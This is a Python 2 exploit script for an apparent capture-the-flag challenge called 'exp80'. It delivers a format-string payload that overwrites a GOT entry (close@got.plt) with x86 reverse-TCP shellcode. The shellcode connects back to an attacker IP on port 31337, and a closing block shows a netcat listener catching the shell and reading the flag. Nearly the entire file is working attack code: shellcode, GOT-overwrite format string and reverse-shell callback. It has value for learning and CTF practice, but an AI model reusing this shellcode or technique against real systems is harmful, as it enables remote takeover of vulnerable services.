internetwatche_ctf_exp80.py

from struct import *
import socket, sys

p = lambda x: pack("<L", x)
u = lambda x: unpack("<L", x)[0]

# ip = socket.inet_aton("xx.xx.xx.xx")
# reverse TCP by Nox rhost=ip rport=31337
shellcode  = "\x31\xc0\x99\x50\x89\xc3\x43\x52"
shellcode += "\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
shellcode += "\x80\x96\x68" + ip + "\x66"
shellcode += "\x68\x7a\x69\x43\x66\x53\x89\xe1"
shellcode += "\x6a\x10\x51\x56\x89\xe1\xb0\x66"
shellcode += "\x43\xcd\x80\x89\xf3\x6a\x02\x59"
shellcode += "\x6a\x3f\x58\xcd\x80\x49\x79\xf8"
shellcode += "\x31\xc0\x99\x52\x68\x6e\x2f\x73"
shellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x89\xe2\x53\x89\xe1\xb0\x0b"
shellcode += "\xcd\x80"

# 0x8049c80 close@got.plt

HOST = "192.168.1.15"   
PORT = 69 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.bind((HOST, PORT))
except socket.error , msg:
    print "Bind failed. Error code: " + str(msg[0]) + "Error message: " + msg[1]
    sys.exit()

print "Socket bind complete"
s.listen(1)
print "Socket now listening"
conn, addr = s.accept()
print "Connected with " + addr[0] + ":" + str(addr[1])
conn.send(p(0x8049c80) + p(0x8049c82) + "%48380d%7$hn%17147d%8$hn" + shellcode)
conn.close()
s.close()

# nc -vlp 31337
'''
id
uid=1010(exp80) gid=1010(exp80) groups=1010(exp80)
cat flag.txt
IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}
'''